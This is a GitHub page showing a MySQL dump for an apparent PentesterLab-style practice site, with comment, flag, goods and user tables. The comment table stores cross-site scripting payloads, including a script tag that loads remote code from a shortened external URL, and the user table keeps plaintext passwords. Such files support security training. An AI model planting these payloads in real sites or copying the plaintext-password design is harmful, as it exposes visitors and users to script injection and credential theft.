-
Notifications
You must be signed in to change notification settings - Fork 0
/
pentesterlab.sql
115 lines (90 loc) · 2.97 KB
/
pentesterlab.sql
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
-- phpMyAdmin SQL Dump
-- version 4.0.4
-- http://www.phpmyadmin.net
--
-- 主机: localhost
-- 生成日期: 2017 年 03 月 15 日 13:20
-- 服务器版本: 5.6.12-log
-- PHP 版本: 5.4.16
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
--
-- 数据库: `pentesterlab`
--
CREATE DATABASE IF NOT EXISTS `pentesterlab` DEFAULT CHARACTER SET latin1 COLLATE latin1_swedish_ci;
USE `pentesterlab`;
-- --------------------------------------------------------
--
-- 表的结构 `comment`
--
CREATE TABLE IF NOT EXISTS `comment` (
`id` int(10) NOT NULL AUTO_INCREMENT,
`content` varchar(50) NOT NULL,
`time` datetime NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=7 ;
--
-- 转存表中的数据 `comment`
--
INSERT INTO `comment` (`id`, `content`, `time`) VALUES
(1, '1', '2016-10-18 07:14:13'),
(2, '1', '2016-10-18 07:14:21'),
(3, '1', '2016-10-18 07:22:10'),
(4, '1', '2016-10-18 07:22:39'),
(5, '<script>alert(/topsec/)</script>', '2017-01-19 01:33:57'),
(6, '<script src=http://t.cn/RM11mCJ></script>', '2017-01-19 01:37:06');
-- --------------------------------------------------------
--
-- 表的结构 `flag`
--
CREATE TABLE IF NOT EXISTS `flag` (
`id` int(20) NOT NULL AUTO_INCREMENT,
`flag` varchar(70) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;
--
-- 转存表中的数据 `flag`
--
INSERT INTO `flag` (`id`, `flag`) VALUES
(1, '204f704fbbcf6acf398ffee11989b377');
-- --------------------------------------------------------
--
-- 表的结构 `goods`
--
CREATE TABLE IF NOT EXISTS `goods` (
`id` int(10) NOT NULL AUTO_INCREMENT,
`gname` varchar(20) NOT NULL COMMENT '名称',
`gprice` float NOT NULL COMMENT '价格',
`gnum` int(10) NOT NULL COMMENT '数量',
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=3 ;
--
-- 转存表中的数据 `goods`
--
INSERT INTO `goods` (`id`, `gname`, `gprice`, `gnum`) VALUES
(1, '苹果', 1000, 20),
(2, '梨', 500.09, 70);
-- --------------------------------------------------------
--
-- 表的结构 `user`
--
CREATE TABLE IF NOT EXISTS `user` (
`uid` int(11) NOT NULL AUTO_INCREMENT,
`uname` varchar(20) CHARACTER SET utf8 NOT NULL COMMENT '用户名',
`pwd` varchar(20) CHARACTER SET utf8 NOT NULL COMMENT '密码',
`bill` float NOT NULL,
PRIMARY KEY (`uid`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=3 ;
--
-- 转存表中的数据 `user`
--
INSERT INTO `user` (`uid`, `uname`, `pwd`, `bill`) VALUES
(1, 'tom', '123456', 50.9899),
(2, 'admin', 'admin12(*&sAS3..', 0);
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;